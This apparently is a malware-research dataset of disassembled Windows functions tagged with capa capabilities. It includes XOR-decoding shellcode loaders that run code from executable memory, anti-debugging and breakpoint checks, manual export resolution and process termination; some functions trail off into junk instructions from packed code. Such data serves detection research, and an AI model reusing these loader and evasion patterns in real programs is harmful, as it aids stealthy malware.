joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401933
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag

Disassembly:
mov eax, 0x42683f
call fcn.004256c0
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0x14]
mov byte [esi], bl
mov byte [esi + 1], bl
mov byte [esi + 2], bl
mov byte [esi + 3], bl
mov byte [esi + 4], bl
mov byte [esi + 5], bl
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
call fcn.004032ae
lea ecx, [esi + 0x20]
mov dword [ebp - 4], ebx
call fcn.0040198c
lea ecx, [esi + 0x30]
call fcn.004032ae
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x405386
Capabilities:
Set file attributes

Disassembly:
push edx
push ecx
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
setne al
ret

Function at 0x405512
Capabilities:
Create directory

Disassembly:
mov eax, 0x426bd0
call fcn.004256c0
sub esp, 0x38
push ebx
push esi
xor ebx, ebx
mov esi, ecx
push ebx
push esi
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
test eax, eax
je 0x405535
mov al, 1
jmp 0x40557b
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
je 0x405546
xor al, al
jmp 0x40557b
lea ecx, [ebp - 0x44]
call fcn.0040573f
lea ecx, [ebp - 0x1c]
call fcn.004032ae
push ebx
push esi
lea ecx, [ebp - 0x44]
mov dword [ebp - 4], ebx
call fcn.0040598d
test al, al
je 0x405570
mov ebx, dword [ebp - 0x24]
shr ebx, 4
and bl, 1
push dword [ebp - 0x1c]
call fcn.00403a73
pop ecx
mov al, bl
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x40597e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40598c
or eax, eax
ret

Function at 0x406d48
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x406d57
pop dword [ebp - 0x4c]
mov eax, 0x71373d1d
add eax, 0x8f09303a
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3a2c2
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x4c9e
mov ebx, eax
mov esi, 0x4e807c38
add esi, 0xb1c2f1c8
add esi, dword [ebp - 0x4c]
mov edx, 0x899dafe7
add edx, 0x2344afd8
sub dword [ebp - 0x18], esi
mov edi, dword [esi]
add dword [ebp - 0x34], 0xe632574c
xor edi, edx
sub dword [ebp - 0x24], 0xb2b804f5
mov dword [ebx], edi
sub dword [ebp - 0x3c], ecx
add ebx, 4
add esi, 4
loop 0x406dab
add eax, 0x442119c9
sub eax, 0x441ff47e
mov ebx, eax
add eax, 0xe1f1f6cf
add eax, 0x1e0e0936
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x414f2c
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x415001
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x41501c
push ebx
push 0x41502c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00405370
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403270
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404f58
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x414fac
mov al, 0x62
call fcn.00414ba4
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00414f00
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x414fb5
call fcn.00414f00
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415008
lea eax, [ebp - 4]
call fcn.00404ebc
ret

Function at 0x41511c
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x4151e7
jmp 0x4151db
cmp dword [esi + 0x10], 0x1000
jne 0x4151c7
test byte [esi + 0x15], 1
jne 0x4151c7
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x415178
cmp ebp, 2
je 0x415178
cmp ebp, 0x10
je 0x415178
cmp ebp, 0x20
jne 0x415194
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x415194
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4151a5
mov eax, dword [esi]
add eax, ebx
call fcn.00415114
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x415198
cmp byte [esp + 4], 0
je 0x4151c7
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x4151e7
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x41514d
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x43e5ea
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x43e5ea
lcall 0x5de5, 0x8b10c483
jmp loc.0344aec4
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x416004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x789d5
call fcn.00401168
mov cx, word [0x413d44]
mov ebx, eax
movq xmm0, qword [str.37slahxl_x]
or eax, 0xffffffff
sub eax, ebx
mov word [ebp - 8], cx
mov cl, byte [0x413d46]
add esp, 4
mov dword [ebp - 0x14], eax
xor edi, edi
mov eax, 0x416880
mov byte [ebp - 6], cl
sub eax, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x1c], eax
lea ecx, [ebx + 2]
mov ebx, dword [ebp - 0x14]
mov eax, 2
sub eax, 0x416881
movq qword [ebp - 0x10], xmm0
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x18], eax
lea esi, [ecx + edi]
mov eax, 0xba2e8ba3
mul edi
mov ecx, edi
shr edx, 3
imul eax, edx, 0xb
sub ecx, eax
movzx eax, byte [ebp + ecx - 0x10]
lea ecx, [esi + ebx]
xor al, byte [edi + 0x416880]
mov byte [esi - 2], al
mov eax, 0xba2e8ba3
mul ecx
mov ecx, edi
shr edx, 3
imul eax, edx, 0xb
sub ecx, eax
movzx eax, byte [ebp + ecx - 0xf]
xor al, byte [edi + 0x416881]
mov byte [esi - 1], al
mov eax, dword [ebp - 0x18]
lea ecx, [eax + 0x416881]
mov eax, 0xba2e8ba3
add ecx, edi
mul ecx
mov ecx, edi
add edi, 3
shr edx, 3
imul eax, edx, 0xb
sub ecx, eax
movzx eax, byte [ebp + ecx - 0xe]
mov ecx, dword [ebp - 0x1c]
xor al, byte [esi + ecx]
mov ecx, dword [ebp - 0x20]
mov byte [esi], al
cmp edi, 0x789d5
jl 0x401070
push 0x40
push 0x1000
push 0x789d5
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, dword [ebp - 0x24]
mov esi, eax
test esi, esi
jne 0x40111e
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040115a
mov esp, ebp
pop ebp
ret
push 0x789d5
push ebx
push esi
call fcn.00402d70
add esp, 0xc
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040115a
mov esp, ebp
pop ebp
ret

Function at 0x40199e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4019dd
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4019dd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4019dd
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4019dd
cmp dword [ecx + 0x74], 0xe
jbe 0x4019dd
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x407583
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x407620
push ebx
push esi
call fcn.0040754c
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004074e0
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4075cd
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40761f
push edi
push eax
call fcn.004081a0
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4075ed
call fcn.00406041
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40761e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004074e0
add esp, 0x20
test eax, eax
jne 0x40760c
push edi
call fcn.00406041
jmp 0x407614
push ebx
call fcn.00406041
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40891d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411030
push 0x411028
push str.FlsAlloc
push 0x1f
call fcn.004087dc
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408951
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f118]
call esi
jmp 0x408957
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40899b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411040
push 0x411038
push str.FlsGetValue
push 0x21
call fcn.004087dc
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4089d2
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f118]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4089da
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411048
push 0x411040
push str.FlsSetValue
push 0x22
call fcn.004087dc
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408a14
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40f118]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40dde0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40de0d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40de0d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x59352ada
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.vsansi.dll_RegSetValueExW]
ret 8

Function at 0x59352af4
Capabilities:
Set registry value

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, ecx
call dword [sym.imp.vsansi.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push dword [esp + 0x10]
push dword [esp + 0x18]
push 0
push dword [esp + 0x18]
push dword [esi]
call dword [sym.imp.vsansi.dll_RegSetValueExW]
pop esi
ret 0xc

Function at 0x59352b20
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
mov ebx, ecx
xor edi, edi
push esi
call dword [sym.imp.vsansi.dll_lstrlenW]
inc eax
lea ecx, [eax + eax]
add esi, ecx
add edi, ecx
cmp eax, 1
jne 0x59352b2b
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.vsansi.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
ret 8

Function at 0x59354e25
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x59354e34
pop dword [ebp - 0x40]
mov eax, 0xefab959a
sub eax, 0x96764766
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xe4f9b683
add dword [ebp - 0x50], 0x69588ec8
mov dword [ebp - 0x4c], 0x74482030
sub dword [ebp - 0x4c], 0x4214d3eb
mov dword [ebp - 0x48], 0x149c3b9d
add dword [ebp - 0x48], 0x37b00891
mov dword [ebp - 0x44], 0x45581303
add dword [ebp - 0x44], 0xbaa7ecfd
lea eax, [ebp - 0x50]
push eax
mov eax, 0x254d3042
sub eax, 0xcc1b1fe2
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x52032e2f
add dword [ebp - 0x50], 0x226f3b27
mov dword [ebp - 0x4c], 0xab59caea
sub dword [ebp - 0x4c], 0x69ed6975
mov dword [ebp - 0x48], 0x493dd07e
sub dword [ebp - 0x48], 0xe5ce6412
mov dword [ebp - 0x44], 0x1a7009e
sub dword [ebp - 0x44], 0x1a7009e
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3baaa
push 0
call eax
mov ecx, 0x83ab66cd
add ecx, 0x7c54dd35
mov edi, eax
mov ebx, 0x5936c000
add ebx, dword [ebp - 0x40]
mov esi, 0x4281e908
add esi, 0x5a2dd15a
sub dword [ebp - 0x3c], eax
mov edx, dword [ebx]
mov dword [ebp - 8], 0x81aa2d1f
xor edx, esi
sub dword [ebp - 4], 0x1b51aae3
mov dword [edi], edx
add dword [ebp - 0x1c], 0x57e6a145
add edi, 0xb1321d63
sub edi, 0xb1321d5f
add ebx, 0xb94af867
add ebx, 0x46b5079d
loop 0x59354f4b
add eax, 0xd43fca0f
add eax, 0x2bc138cc
xor ebx, ebx
add ebx, eax
add eax, 0x373e0f88
add eax, 0xc8c1f07d
mov ecx, 0x6dea78f3
add ecx, 0xeb47870d
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x4010cc
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x4010de
mov eax, dword [0x40f08b]
shl eax, 2
mov dword [0x40f08f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.004052c8
pop edx
call fcn.00404664
call fcn.004052cc
push 0
call fcn.00406544
pop ecx
push 0x40f034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x40f093], eax
push 0
jmp fcn.0040a318
Function at 0x402f44
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
movzx eax, word [eax + 0x14]
add eax, dword [ebp + 0xc]
add eax, 0x18
xor ecx, ecx
jmp 0x402f78
mov edx, dword [eax + 8]
test edx, edx
jne 0x402f67
mov edx, dword [eax + 0x10]
mov esi, dword [eax + 0xc]
cmp ebx, esi
jb 0x402f74
add edx, esi
cmp ebx, edx
jb 0x402f85
inc ecx
add eax, 0x28
mov edx, dword [ebp + 0xc]
movzx edx, word [edx + 6]
cmp ecx, edx
jb 0x402f5d
xor eax, eax
pop esi
pop ebx
pop ebp
ret
Function at 0x402fc0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp word [edi], 0x5a4d
je 0x402fda
xor eax, eax
jmp 0x40315a
mov ebx, dword [edi + 0x3c]
add ebx, edi
cmp dword [ebx], 0x4550
je 0x402fee
xor eax, eax
jmp 0x40315a
cmp word [ebx + 0x14], 0xe0
jne 0x402ffe
cmp word [ebx + 0x18], 0x10b
je 0x403005
xor eax, eax
jmp 0x40315a
mov dword [0x452d54], edi
mov ebx, dword [edi + 0x3c]
mov esi, edi
add ebx, esi
mov eax, dword [ebx + 0x78]
mov dword [ebp - 0x18], eax
push ebx
mov edx, dword [ebp - 0x18]
push edx
call fcn.00402f44
add esp, 8
test eax, eax
jne 0x403030
xor eax, eax
jmp 0x40315a
mov edx, dword [0x452d54]
push edx
push ebx
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00402f8c
add esp, 0xc
mov ebx, dword [ebx + 0x78]
test ebx, ebx
jne 0x403062
push 0x10
push 0
push str.Error_in_GetProcAddressDirectly__
push 0
call sub.USER32.DLL_MessageBoxA
xor eax, eax
jmp 0x40315a
add ebx, esi
mov edx, dword [ebx + 0x24]
add edx, esi
mov dword [ebp - 4], edx
mov ecx, dword [ebx + 0x20]
add ecx, esi
mov dword [ebp - 0xc], ecx
mov eax, dword [ebx + 0x1c]
add eax, esi
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0xc]
mov ecx, edx
shr ecx, 0x10
test cx, cx
je 0x40312c
xor esi, esi
mov eax, dword [ebp - 8]
mov edx, eax
mov dword [ebp - 0x28], edx
jmp 0x40311e
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
test eax, eax
je 0x403119
xor edx, edx
mov dword [ebp - 0x14], edx
mov ecx, dword [ebp - 0x28]
mov eax, ecx
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0xc]
mov ecx, edx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 4]
mov edx, eax
mov dword [ebp - 0x1c], edx
jmp 0x403110
mov ecx, dword [ebp - 0x1c]
movzx eax, word [ecx]
cmp esi, eax
jne 0x403105
mov edx, dword [ebp - 0x20]
mov ecx, dword [edx]
add ecx, edi
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + 0xc]
mov cl, byte [eax]
cmp cl, byte [edx]
jne 0x403105
test cl, cl
je 0x4030fa
mov cl, byte [eax + 1]
cmp cl, byte [edx + 1]
jne 0x403105
add eax, 2
add edx, 2
test cl, cl
jne 0x4030de
jne 0x403105
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
add eax, edi
jmp 0x40315a
inc dword [ebp - 0x14]
add dword [ebp - 0x20], 4
add dword [ebp - 0x1c], 2
mov edx, dword [ebx + 0x18]
dec edx
cmp edx, dword [ebp - 0x14]
jae 0x4030c4
inc esi
add dword [ebp - 0x28], 4
mov ecx, dword [ebx + 0x14]
dec ecx
cmp esi, ecx
jbe 0x40309c
jmp 0x403158
xor esi, esi
mov eax, dword [ebp - 8]
jmp 0x403150
mov ecx, dword [ebx + 0x10]
add ecx, esi
cmp edx, ecx
jne 0x40314c
cmp dword [eax], 0
je 0x40314c
mov edx, dword [eax]
shl edx, 6
add edi, edx
mov eax, edi
jmp 0x40315a
inc esi
add eax, 4
mov ecx, dword [ebx + 0x14]
dec ecx
cmp esi, ecx
jbe 0x403133
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40326c
Capabilities:
Query service status

Disassembly:
push ebx
add esp, 0xffffffe4
push 0xf003f
push str.ServicesActive
push 0
call sub.ADVAPI32.DLL_OpenSCManagerA
test eax, eax
jne 0x403289
xor eax, eax
jmp 0x4032c6
push 0xf01ff
push str.NTice
push eax
call sub.ADVAPI32.DLL_OpenServiceA
mov ebx, eax
push esp
push ebx
call sub.ADVAPI32.DLL_QueryServiceStatus
test eax, eax
jne 0x4032b0
push ebx
call sub.ADVAPI32.DLL_CloseServiceHandle
xor eax, eax
jmp 0x4032c6
cmp dword [esp + 4], 4
jne 0x4032c4
push ebx
call sub.ADVAPI32.DLL_CloseServiceHandle
mov eax, 1
jmp 0x4032c6
xor eax, eax
add esp, 0x1c
pop ebx
ret

Function at 0x403328
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
je 0x403341
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403348
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
call sub.KERNEL32.DLL_GetCurrentProcessId
push eax
push 1
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
push 0
push eax
call sub.KERNEL32.DLL_TerminateProcess
pop ebp
ret
Function at 0x403368
Capabilities:
Enumerate process modules
Enumerate processes
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
mov ecx, 0x4a
push eax
add esp, 0xfffffc30
push ebx
push esi
push edi
lea edi, [ebp - 0x238]
mov ebx, dword [ebp + 8]
push esi
mov esi, 0x44f908
rep movsd dword es:[edi], dword [esi]
pop esi
push ebx
call fcn.00403300
pop ecx
test eax, eax
je 0x4033a4
push ebx
call fcn.00403348
pop ecx
mov dword [ebp - 0x2cc], 0x94
lea eax, [ebp - 0x2cc]
push eax
call sub.KERNEL32.DLL_GetVersionExA
cmp dword [ebp - 0x2bc], 1
jne 0x4033e2
push ebx
call fcn.004031dc
pop ecx
test eax, eax
jne 0x4033d9
push ebx
call fcn.00403214
pop ecx
test eax, eax
je 0x4033ff
push ebx
call fcn.00403348
pop ecx
jmp 0x4033ff
push ebx
call fcn.00403328
pop ecx
test eax, eax
jne 0x4033f8
push ebx
call fcn.004032cc
pop ecx
test eax, eax
je 0x4033ff
push ebx
call fcn.00403348
pop ecx
mov dword [ebp - 0x238], 0x128
call sub.KERNEL32.DLL_GetCurrentProcessId
mov edi, eax
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [ebp - 0x238]
push eax
push ebx
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x40346b
jmp 0x40345a
push str.explorer.exe
lea edx, [ebp - 0x214]
push edx
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
jne 0x40344c
mov ecx, dword [ebp - 0x230]
mov dword [ebp - 4], ecx
cmp edi, dword [ebp - 0x230]
jne 0x40345a
mov esi, dword [ebp - 0x220]
lea eax, [ebp - 0x238]
push eax
push ebx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x40342e
cmp esi, dword [ebp - 4]
je 0x403490
cmp dword [ebp - 4], 0
je 0x403490
push esi
push 1
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
push 0
push eax
call sub.KERNEL32.DLL_TerminateProcess
jmp 0x40356e
xor edx, edx
lea ecx, [ebp - 0x110]
mov dword [ebp - 0xc], edx
push 0x105
push ecx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x44faad
lea eax, [ebp - 0x110]
push eax
call sub.KERNEL32.DLL_lstrcatA
push str.EXPLORER.EXE
lea edx, [ebp - 0x110]
push edx
call sub.KERNEL32.DLL_lstrcatA
push esi
push 0
push 0x410
call sub.KERNEL32.DLL_OpenProcess
mov edi, eax
test edi, edi
je 0x40356e
lea eax, [ebp - 8]
lea edx, [ebp - 0x12cc]
push eax
push 0x1000
push edx
push edi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x40354a
xor esi, esi
lea ebx, [ebp - 0x12cc]
jmp 0x403540
push 0x104
lea eax, [ebp - 0x13d0]
push eax
mov edx, dword [ebx]
push edx
push edi
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x40353c
lea ecx, [ebp - 0x13d0]
push ecx
lea eax, [ebp - 0x110]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
jne 0x40353c
mov dword [ebp - 0xc], 1
jmp 0x40354a
inc esi
add ebx, 4
mov edx, dword [ebp - 8]
shr edx, 2
cmp esi, edx
jb 0x403503
push edi
call sub.KERNEL32.DLL_CloseHandle
cmp dword [ebp - 0xc], 0
jne 0x40356e
mov ecx, dword [ebp - 4]
push ecx
push 1
push 0x1f0fff
dec dword [edi]
pop ds
add al, ch
push es
scasd eax, dword es:[edi]
add byte [eax], al
Function at 0x4035c8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, dword [ebp + 0x14]
mov edi, dword [ebp + 8]
je 0x4035d9
jne 0x4035d9
jmp fcn.0040355d
cmp esi, 8
jb 0x403617
xor ebx, ebx
jmp 0x40360e
mov eax, dword [ebp + 0x10]
mov edx, ebx
add edx, edi
push eax
push edx
call fcn.0040361c
add esp, 8
movsx ecx, word [ebp + 0xc]
mov eax, 0x64
sub eax, ecx
imul esi
mov ecx, 0x64
xor edx, edx
div ecx
add ebx, eax
add ebx, 8
mov eax, esi
sub eax, 8
cmp ebx, eax
jbe 0x4035e2
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x40361c
Capabilities:
Check for software breakpoints
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov eax, fcn.0040163c
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
mov al, byte [esi]
cmp al, 0xcc
je 0x4036cf
mov eax, fcn.004012ec
mov dword [ebp - 8], eax
mov esi, dword [ebp - 8]
mov al, byte [esi]
cmp al, 0xcc
je 0x4036cf
mov eax, fcn.00403878
mov dword [ebp - 0xc], eax
mov esi, dword [ebp - 0xc]
mov al, byte [esi]
cmp al, 0xcc
je 0x4036cf
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 8]
xor ebx, ebx
mov edi, 0x20
mov ecx, dword [eax + 4]
mov eax, dword [ebp + 0xc]
mov edx, dword [edx]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
jmp 0x4036cf
add ebx, 0x9e3779b9
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x10]
lea esi, [ebx + ecx]
xor eax, esi
mov esi, ecx
shr esi, 5
add esi, dword [ebp - 0x14]
xor eax, esi
add edx, eax
mov eax, edx
shl eax, 4
add eax, dword [ebp - 0x18]
lea esi, [ebx + edx]
xor eax, esi
mov esi, edx
shr esi, 5
add esi, dword [ebp - 0x1c]
xor eax, esi
add ecx, eax
mov eax, edi
add edi, 0xffffffff
test eax, eax
jg 0x403697
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret